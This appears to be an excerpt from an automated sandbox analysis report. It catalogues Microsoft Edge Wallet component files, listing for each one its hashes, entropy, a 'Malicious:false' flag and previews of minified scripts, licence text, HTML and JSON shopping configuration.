                                                                                                                                                              Preview:/*! For license information please see miniwallet.bundle.js.LICENSE.txt */.(()=>{"use strict";var e={533:e=>{var t=Object.getOwnPropertySymbols,i=Object.prototype.hasOwnProperty,r=Object.prototype.propertyIsEnumerable;function o(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},i=0;i<10;i++)t["_"+String.fromCharCode(i)]=i;if("0123456789"!==Object.getOwnPropertyNames(t).map((function(e){return t[e]})).join(""))return!1;var r={};return"abcdefghijklmnopqrst".split("").forEach((function(e){r[e]=e})),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},r)).join("")}catch(e){return!1}}()?Object.assign:function(e,n){for(var a,s,l=o(e),c=1;c<arguments.length;c++){for(var d in a=Object(arguments[c]))i.call(a,d)&&(l[d]=a[d]);if(t){s=t(a);for(var u=0;u<s.length;u++)r.call(a,s[u])&&(l[s[u]]=a

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.LICENSE.txt

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              File Type:ASCII text
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):295
                                                                                                                                                              Entropy (8bit):4.7070549789727645
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:6:U03WiGjs/TdMK1OmFsZ1FD+Dm3Jue9DOFTTgGHYVov10:U3kTHwmiCD6JuoqIfov10
                                                                                                                                                              MD5:9FADCDA30B07120E2CB70B5A003ACFF9
                                                                                                                                                              SHA1:A4EB198C6AE011CFB495A25D7C04B62FDD1D0346
                                                                                                                                                              SHA-256:63EC623C2BDA74FC3E3D2796151FFE93255E8BD76B2D8BDFE2EA0B401848B15F
                                                                                                                                                              SHA-512:E34A8BCE98AC7EEEB3416A9D2E8F331181A25E06467AA211AF4A12A88CEF0C5B2678792D03378F888C212EFF6340647AC99F97AA2CADB75C3777527FDDF77552
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:/*.object-assign.(c) Sindre Sorhus.@license MIT.*/../** @license React v16.14.0. * react.production.min.js. *. * Copyright (c) Facebook, Inc. and its affiliates.. *. * This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. */.

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              File Type:ASCII text, with very long lines (65458)
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):1394663
                                                                                                                                                              Entropy (8bit):5.568332601544202
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:24576:X6cIyB2Fx2Mr+Y2mHDvpttZwJbhTJrSK4VPYOI+AmOkmMOkxhdlrw+QsjZIQi6SI:X6cIyB2Fx2MrPbDvpttZwJbhTJrSK4VJ
                                                                                                                                                              MD5:766E13C5EB1DC68F700EC491E912DF8A
                                                                                                                                                              SHA1:94103276DECE118BE7182D565FFDB64A60452364
                                                                                                                                                              SHA-256:223DCDC8779A51D6D07C349B7AA30B920D1C44834C17EA75E26C855A6FCECD3B
                                                                                                                                                              SHA-512:A48F08DFCC53BC953C8C7E35E7FA587AFC09C90E806F0049C0F6684C543006554EBDDF0F4CB329E89823309CE0D41F7C202D7B9D2FA7025BE8A98853DAB6BF9E
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:/*! For license information please see wallet-drawer.bundle.js.LICENSE.txt */.(()=>{var e,t,r,n,o,a,i,l,s={62928:function(e,t,r){var n;"undefined"!=typeof self&&self,n=function(e){return function(e){var t={};function r(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,r),o.l=!0,o.exports}return r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)r.d(n,o,function(t){return e[t]}.bind(null,o));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};retu

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.LICENSE.txt

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              File Type:ASCII text
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):1794
                                                                                                                                                              Entropy (8bit):4.843900190800991
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:24:B9iDk8YzW0Tk3NtkiYi7oVwuwBA4uoqIfy+wBA4uoqIfyCwBA4uoqIfyrwBA4uoT:GD6xTmtUWIAfyIAfEIAflIAff
                                                                                                                                                              MD5:DF3D44AC0E39EB1CA9318D0F07F746E2
                                                                                                                                                              SHA1:7F6B92AC0574C3287C16FC7B49B9E0356FA7882B
                                                                                                                                                              SHA-256:BA149E358C97FFDF1CB5B9E26D6A9D0F3E19A7692F306B0C87118AEFECE40A21
                                                                                                                                                              SHA-512:0C8AE3D4FEC2227464F0DF6D5667EA9E62FB20BA876C5B80ECFB5DB3E76AF42EA8B8F8C5AB5FC69C141E7E7E3D9840927A15C1FAB64613786C1F9D13B826730C
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:/*.object-assign.(c) Sindre Sorhus.@license MIT.*/../*!..Copyright (c) 2018 Jed Watson...Licensed under the MIT License (MIT), see..http://jedwatson.github.io/classnames.*/../*!. * Copyright (c) Microsoft Corporation. All rights reserved.. * Licensed under the MIT License.. */../**. * CSS Vendor prefix detection and property feature testing.. *. * @copyright Oleg Slobodskoi 2015. * @website https://github.com/jsstyles/css-vendor. * @license MIT. */../**. * @license. * Lodash <https://lodash.com/>. * Copyright OpenJS Foundation and other contributors <https://openjsf.org/>. * Released under MIT license <https://lodash.com/license>. * Based on Underscore.js 1.8.3 <http://underscorejs.org/LICENSE>. * Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors. */../** @license React v0.19.1. * scheduler.production.min.js. *. * Copyright (c) Facebook, Inc. and its affiliates.. *. * This source code is licensed under the MIT license found in the. * LICEN

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.html

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              File Type:HTML document, ASCII text, with very long lines (589)
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):1878
                                                                                                                                                              Entropy (8bit):5.224434099079608
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:48:0+KbicYkYDPPZPF/Y6bDXqAtfu2YvywpyNhiG5Biu:HJkYDHL/Y6bTqif/Y6bNhiNu
                                                                                                                                                              MD5:BF04B54F7B88E9110E3C68B727C5BE0F
                                                                                                                                                              SHA1:7669103AFC426A829A3BA405C5ADE227C1EB2319
                                                                                                                                                              SHA-256:1F28EE5F31140BCB2B1F48C33D645E3B8D028D3C692B85893BB6E36A013E108E
                                                                                                                                                              SHA-512:4DFFDEF0646382967E079A2A80EBEEF4B96992A99C488FC56ED5CA48D76971832F65BF72CEBCFB0CCF4B2CFCB67ECDD48CC55D7BAD42FB78314DAC1CED2CF3BC
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:<!doctype html><html dir="$i18n{textdirection}" lang="$i18n{language}"><head><meta charset="utf-8"><meta version="39556161/20314 - 2023-09-19T07:33:23.720Z"><title>Wallet Express Checkout</title><script src="/app-setup.js"></script><script src="/base-error-reporting.js"></script><script src="/wallet-error-reporting.js"></script><script src="chrome://resources/js/load_time_data.m.js" type="module"></script><script src="/strings.m.js" type="module"></script><script src="./load-ec-i18n.bundle.js" type="module"></script><style>/* Copyright (C) Microsoft Corporation. All rights reserved.. * Use of this source code is governed by a BSD-style license that can be. * found in the LICENSE file. */..body {. font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;. font-size: 14px;. background-color: rgb(247, 247, 247);. margin: 0;.}..@media (forced-colors:none) {. input::selection {. color: #FFF;. backgrou

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites-pre-stable.json

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              File Type:JSON data
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):148293
                                                                                                                                                              Entropy (8bit):3.883764865191623
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:1536:QW55kRm55yQjL5BsAEiL/M+w4iRFc39bmvgvnZFSV0xFZo5d9j6m0P5msBfFV+45:QUOuKvMIG0Q15uo
                                                                                                                                                              MD5:DB6D2A23747DD4AF1CB85A23DFDB773F
                                                                                                                                                              SHA1:7A27AF150C82DDE8AD968080E4DC4EABE7D595AB
                                                                                                                                                              SHA-256:98D2120E386148106F64F2D5C65F9CBC53C6F844429DE8446F3096E97B2BBB9B
                                                                                                                                                              SHA-512:E9F749D06D3D9295F94F7119EBF78BD012831A2FE5786D06A84A65D70F8B9DFAF3E80808BB6A4C1982283F47E5F0E5C4A844DCC8B7C952434EAD3729FD89A272
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:{. "eligible_sites": [. "alexandani.com",. "manitobaharvest.com",. "alphamarts.com",. "thrivecausemetics.com",. "fashionnova.com",. "32degrees.com",. "22daysnutrition.com",. "4moms.com",. "525america.com",. "7point62design.com",. "89thandmadison.com",. "9five.com",. "secure.abugarcia.com",. "activefaithsports.com",. "adika.com",. "afloral.com",. "agacistore.com",. "agiftpersonalized.com",. "ahlstore.com",. "airocollective.com",. "akademapro.com",. "alen.com",. "all3sports.com",. "aloha.com",. "amalfidecor.com",. "americanmattress.com",. "anbbaby.com",. "annchery.com.co",. "annke.com",. "apeainthepod.com",. "appaman.com",. "asdmbeverlyhills.com",. "atmcollection.com",. "ayurvedicherbsdirect.com",. "babywise.life",. "backdropoutlet.com",

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites.json

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              File Type:JSON data
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):511367
                                                                                                                                                              Entropy (8bit):4.176029309359711
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:6144:hQPjhuz14uvgCmWH3+klkfzTOJHYUbHG+FZ8QTHNGs5AeCc:4tKH6bfoGQ8+eer
                                                                                                                                                              MD5:D8E3873FF6EF3896A95B8295E3BC1ADF
                                                                                                                                                              SHA1:E86D59201F29CD7B7591CCC2CB0832B2E60305D5
                                                                                                                                                              SHA-256:22B903D55F643E384F7A09C67A659DA7A86FD409DD1C5439B712B9735D748BAF
                                                                                                                                                              SHA-512:70ACE9B563FF2F6B50415EC0F2E6824B369879E9A84699B78FF764D5FF7F91CE5521ADD770ED2740D582FD801FE2E12A5F68212B78ECD2D7FDA849A516739786
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:{. "eligible_sites": [. "alexandani.com". ],. "bgaa_eligible_sites": [. "fashionnova.com". ],. "deep_autofill_sites": [. "lifeisgood.com". ],. "deep_autofill_sites_config": {. "default": [. "lifeisgood.com". ],. "selfhost": [. "nationalcar.com". ]. },. "expansion_sites": {. "default": [. "expedia.com". ],. "se2_patch": [. "hotels.com". ]. },. "billing_address_first_sites": [. "pay.openai.com". ],. "extra_sites": {. "4th_extra_sites": [],. "recovery_sites": [. "easyjet.com". ]. },. "globalization_sites": [. "pay.ebay.de". ],. "coupons_disallowed_sites": [. "hexclad.com",. "store.ui.com",. "omahasteaks.com",. "cart.hostinger.com",. "aliexpress.com",. "winecountrygiftbaskets.com",. "discountmugs.com",. "secure.booking.c

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-notification-config.json

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              File Type:JSON data
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):726
                                                                                                                                                              Entropy (8bit):4.712288740160571
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:12:AVYNAYLEHCU/IaYeg7BHjg0C1/oOZO5OmS2YdSui8C/FtJp/FJL4nJL4r:sYdCC0ICgNHjg7iOZO5OmSnS82FtzFJl
                                                                                                                                                              MD5:89AF93724226AEE6FCF672F1AEE1A738
                                                                                                                                                              SHA1:2F188E2FB26CD1C3E3A669E78A4B439A8006CBE3
                                                                                                                                                              SHA-256:654AEBC5EF8B3FE48E9D4CFD2634B7DE5172C5AAF309136381347AAB3850DD1D
                                                                                                                                                              SHA-512:E1C87CAA76652377825301CDA123AB59AF7CF73D60E54A8F77FC1782333BE21FBCE146EDCCA1B992FC6613970C216282DFB96B9A9C0BA3E75FBFA7BB6CFB381B
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:{. "eligible_types": [. "CardExpired",. "CardExpiring",. "PasswordLeakage",. "PersonalizedOffersAvailable",. "UpcomingHotelReservations",. "SignupCryptoWallet",. "CardTokenizationEligible",. "FeaturePromotion",. "DonationSummary",. "RoamCard",. "PackageTracking",. "Rebates". ],. "snooze_time_in_hour": 168,. "refresh_time_in_hour": 12,. "rotate_time_in_hour": 12,. "notification_build_time_after_start_up_in_second": 60,. "card_expired_evaluation_in_months": 1,. "feature_promotion_notification_config": {. },. "account_config": {. "CardExpired": {. "AAD": false,. "Profile": false. },. "CardExpiring": {. "AAD": false,. "Profile": false. }. }.}.

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-pre-stable.json

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              File Type:ASCII text
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):2333505
                                                                                                                                                              Entropy (8bit):4.1160651167114075
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:49152:aYFYSiXPjpqxbq9emiTQuyg7oM2e8P/bzEb:5
                                                                                                                                                              MD5:545D2B1151BBE0470732A5EC71ABCD3B
                                                                                                                                                              SHA1:0B58343060A3BA011D72EE42EE2FEA620FF6F0B5
                                                                                                                                                              SHA-256:5FD4740C0728516AF8207E28FF02298CCFBC8E591E231B239D3F6324263000F8
                                                                                                                                                              SHA-512:86971C4A74B78BC7A1618FBD9B9A50E006ED5921C3BB4660AB4D4FC89A16984DADB614B71FFE42208676A3D6B882E959A72125A684D31F789E26ADA01363491F
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:{. "providers": {. "min_shopping_component_version": "2.0.0.1471",. "zip_pay": {. "period": 4,. "lower_threshold": 35,. "upper_threshold": 1000,. "number_of_payments": 4,. "duration": 6,. "days_to_first_payment": 0,. "is_enabled": true,. "eligible_sites": [],. "ineligible_sites": [. "affirm.com",. "klarna.com",. "sams.com",. "samsclub.com",. "walmart.com",. "zip.co". ],. "allowed_domains_native": [. "edge://wallet-extra". ],. "allowed_domains_full": [. "quadpayasserts.blob.core.windows.net",. "maps.googleapis.com",. "maps.gstatic.com". ],. "allowed_domains_root": [. "quadpay.com",. "zip.co",. "quadpay.xyz",. "stripe.com",. "datadoghq.com",. "optimizely.com",. "segment.com". ]. },. "klarna": {. "period": 4,. "lower_threshold": 35,. "upper_threshold": 5000,. "

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-stable.json

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              File Type:ASCII text
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):2333505
                                                                                                                                                              Entropy (8bit):4.1160651167114075
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:49152:yYFYSiXPjpqxbq9emiTQuyg7oM2e8P/bzEb:h
                                                                                                                                                              MD5:B5E29F86A7ACBDD0EDE545049C1DDEE8
                                                                                                                                                              SHA1:44E139BA78BBCDC6951E39DE2476653CC656B1E4
                                                                                                                                                              SHA-256:CA532B6E7F494987DDF00E52857A3859F77B225FA8D4BD9F708E40D29138C383
                                                                                                                                                              SHA-512:72DC3428AF2DE97BFB06AC4B92AA137D9532903A99ACA50D862EA375907D9C45CE8A980429A7BACEAD8F50470EEF77AAEAEE3BEA63D45B7E62CC16540E83723A
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:{. "providers": {. "min_shopping_component_version": "2.0.0.1471",. "zip_pay": {. "period": 4,. "lower_threshold": 35,. "upper_threshold": 1000,. "number_of_payments": 4,. "duration": 6,. "days_to_first_payment": 0,. "is_enabled": true,. "eligible_sites": [],. "ineligible_sites": [. "affirm.com",. "klarna.com",. "sams.com",. "samsclub.com",. "walmart.com",. "zip.co". ],. "allowed_domains_native": [. "edge://wallet-extra". ],. "allowed_domains_full": [. "quadpayasserts.blob.core.windows.net",. "maps.googleapis.com",. "maps.gstatic.com". ],. "allowed_domains_root": [. "quadpay.com",. "zip.co",. "quadpay.xyz",. "stripe.com",. "datadoghq.com",. "optimizely.com",. "segment.com". ]. },. "klarna": {. "period": 4,. "lower_threshold": 35,. "upper_threshold": 5000,. "

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-tokenization-config.json

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              File Type:JSON data
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):24248
                                                                                                                                                              Entropy (8bit):3.4164368811372614
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:192:0IeMXlcNhErDo1yGI+MmsMR6Q9GMKPrZnfB4FXZ8N:XNXlcNSrD83I+B9wC0
                                                                                                                                                              MD5:634323483C6BF97F0D946912B3452604
                                                                                                                                                              SHA1:BD41635B68E90DB709CC328307EA19D561B9B92B
                                                                                                                                                              SHA-256:CCC9802D871B81D34CE2433865FF817DBED0DCD4D8B1B4C1746D03DAB714E185
                                                                                                                                                              SHA-512:BD069F141BD0D65430365B088CA5D0F33BF96EA0D5D0B8236657A60964705366F852E7D9813D56571DF00423668A023162F6C6CE4FA9B4CFAD5BC4629DB95DB0
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:{. "providers": {. "visa": {. "eligible_sites": [. "microsoft.com",. "skype.com",. "github.com",. "linkedin.com",. "minecraft.net",. "xbox.com". ],. "ineligible_sites": [],. "eligible_bins": []. },. "mastercard": {. "eligible_sites": [],. "ineligible_sites": [. "acornonline.com",. "aladdinbroadwaymerchandise.com",. "alamo.com",. "allposters.com",. "alaskaair.com",. "allswellhome.com",. "arbys.com",. "art.com",. "autozone.com",. "basbleu.com",. "baskinrobbins.com",. "bbhosted.com",. "beenverified.com",. "bestbuy.com",. "bestbuybusiness.com",. "bloomingdales.com",. "bonobos.com",. "buffalowildwings.com",. "bumper.com",. "carrentals.com",. "carters.com",. "caseys.com",. "catalogclassicsvipinsider.com",. "cfr.org",. "classicvacations.com

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet-crypto.html

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              File Type:HTML document, ASCII text, with very long lines (560)
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):2016
                                                                                                                                                              Entropy (8bit):5.2326275607435475
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:48:0+HmvJYDPPZPF/Y6bDXqAtfvywprAGPytsyQDgAg8CgMgsu:HHiYDHL/Y6bTqif6OPN/+hTu
                                                                                                                                                              MD5:81DF34766617144867F4AA3ABF8688FA
                                                                                                                                                              SHA1:ACEE23B633CBFC9148C777293227C71D153F8DC4
                                                                                                                                                              SHA-256:8CA6D41A47EC7C47D924373EB7B612B5AE01CEBA4CE2947427D97C7A0C345CB9
                                                                                                                                                              SHA-512:022DAFA520DD4AC9C3CA75E3F1399D587132B272DA85DEA0DDCB844801E315777D4314035EAEE8459073D38911B321AA26BEF8A13F79115C5FE095983D057D7C
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:<!doctype html><html dir="$i18n{textdirection}" lang="$i18n{language}"><head><meta charset="utf-8"><meta version="39855961/20314 - 2023-09-29T14:49:55.553Z"><title>Wallet</title><script src="/app-setup.js"></script><script src="/base-error-reporting.js"></script><script src="/wallet-error-reporting.js"></script><link rel="manifest" href="/manifest.webapp.json"><script src="chrome://resources/js/load_time_data.m.js" type="module"></script><script src="/strings.m.js" type="module"></script><style>/* Copyright (C) Microsoft Corporation. All rights reserved.. * Use of this source code is governed by a BSD-style license that can be. * found in the LICENSE file. */..body {. font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;. font-size: 14px;. background-color: rgb(247, 247, 247);. margin: 0;.}..@media (forced-colors:none) {. input::selection {. color: #FFF;. background: #0078D4;. }.}..@media (p

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet-icon.svg

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              File Type:SVG Scalable Vector Graphics image
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):1718
                                                                                                                                                              Entropy (8bit):6.021574592767348
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:48:cyKfNbMj9s2LEAiB5Fz5u3DrSpjZdkiREU8d/s:1Kf9WLIrz5uoNyied/s
                                                                                                                                                              MD5:09973C50DD24D45F25F51B622B577C8C
                                                                                                                                                              SHA1:DFB080015E8375C9DCAFF66A7A8E02D585ED1A9B
                                                                                                                                                              SHA-256:51888AFEC19654824E8C4A0293E64319E2D6DF59440D3CE20877BAC2D6404D90
                                                                                                                                                              SHA-512:A06A56D7103136BEEC1B83D7BF8CC3148540582A15176470ABFDA83805E0CA0E349BD10A5718D0775F2708234F71DFFC76077F2C4FCB28AEB9A91B1F676022A2
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:<?xml version="1.0" encoding="UTF-8" standalone="no"?>.<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="32px" height="32px" viewBox="0 0 32 32" enable-background="new 0 0 32 32" xml:space="preserve"> <image id="image0" width="32" height="32" x="0" y="0". href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAQAAADZc7J/AAAABGdBTUEAALGPC/xhBQAAACBjSFJN.AAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QA/4ePzL8AAAAJcEhZ.cwAAEisAABDfAW3JFBYAAAAHdElNRQfnCQ0GDDXGZMyrAAACLUlEQVRIx8WUzUuUURTGf2dm/Bip.FNMgknzPqxYVQmULbVEusr+hkezLha4CNxGSkLQvaB/RxiJpFVSLwBkMFNGQJEgK500jhCGNBB01.57SYGU0Jmncm6NzN5Z7zPOfjufdCgSa5BGkHnYTtRcnd6aU8crj9apk17Rzf6Q3+De5c5h4wxktO.UCVXKhcWx31kd87qqpp+qKkEtydTx1O3PMcZHHSDo1TzTVpmPh6qWhuVuozjs13wRrcR1O638O/Q.wFcveWBv8QgNrNIWH3ZKZYhmUkRopJcAa9I98zBbZrfOb44pvV61ho4Va0xNU3oREPex

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              File Type:Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):2936772
                                                                                                                                                              Entropy (8bit):6.105500015703007
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:49152:Xexz5ufAD5J9OOzqrtP27f5FamW+kUbwqL/mQZ2S4Xwt8zH1LLp5XlFLKxf:kf
                                                                                                                                                              MD5:9E1D8F6EAE3D15A88DC7E9DA5F2063B8
                                                                                                                                                              SHA1:F9FEC6E65B7C8F0CAB1F8F14DAAD5181F250E535
                                                                                                                                                              SHA-256:559EC5C6CE51FDDB83D6B33480E47F6A4FF84F6C40C75971C852FE0C47565D6F
                                                                                                                                                              SHA-512:FF386A360F939867E564DC4D9D33FF8C49019747BA80FFD4AA8BC17984344AB0D171F6D555FC3AE0F05E51731C885711164F1B8559C98714960672F4DABBC4F6
                                                                                                                                                              Malicious:false
                                                                                                                                                              Preview:"use strict";(self.webpackChunk_xpay_wallet_hub=self.webpackChunk_xpay_wallet_hub||[]).push([[882],{73213:(e,t,a)=>{var i=a(2784),r=a(47933),n=a(4517),o=a(22168),s=a(8936),l=a(21327),d=a(77953),c=a(28316);let g;var p;(p=g||(g={})).isWalletBNPLAffirmAdaptiveCheckoutEnabled="isWalletBNPLAffirmAdaptiveCheckoutEnabled",p.isTokenizationEnrollRewardsEnabled="isTokenizationEnrollRewardsEnabled",p.isWalletTokenizedAutofillEnabled="isWalletTokenizedAutofillEnabled",p.creditCardUploadEnabled="creditCardUploadEnabled",p.creditCardGlobalizationEnabled="creditCardGlobalizationEnabled",p.creditCardBetterStateTranslationEnabled="creditCardBetterStateTranslationEnabled",p.creditCardSyncCardEnabled="creditCardSyncCardEnabled",p.cardUploadErrorHandling="cardUploadErrorHandling",p.isCreditCardSilentUploadEnabled="creditCardSilentUpload",p.isCreditCardAutoSaveEnabled="creditCardAutoSaveEnabled",p.isWalletPartialCardEnabled="isWalletPartialCardEnabled",p.isWalletHubUXReskinEnabled="isWalletHubUXReskinEnabl

                                                                                                                                                              C:\Users\user\AppData\Local\Temp\5525\C\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.html

                                                                                                                                                              Download File
                                                                                                                                                              Process:C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                              File Type:HTML document, ASCII text, with very long lines (560)
                                                                                                                                                              Category:dropped
                                                                                                                                                              Size (bytes):1961
                                                                                                                                                              Entropy (8bit):5.238666512277545
                                                                                                                                                              Encrypted:false
                                                                                                                                                              SSDEEP:48:0+HmWJYDPPZPF/Y6bDXqAtfvywprAGPytsyQDg8CgMgsu:HHpYDHL/Y6bTqif6OPN+hTu
                                                                                                                                                              MD5:329C76E386F4AF0BF9913FC7B0E1B620
                                                                                                                                                              SHA1:D4FF0F3218F9692861D1A8D103B466AF21068BD1
                                                                                                                                                              SHA-256:3272E88523BFAB9B361275DADED5D1F80903C6BA804EE7748AF5FB62BB6FD0B4
                                                                                                                                                              SHA-512:43BF017599465A641F0F23B96FF4FD3056F84EF40D5C20F738D22EEFC76DCE3B394A69339B925FD568883660682B700199F0EBE6E37A4A85E70FDD02DFB71F6A
                                                                                                                                                              Malicious:false
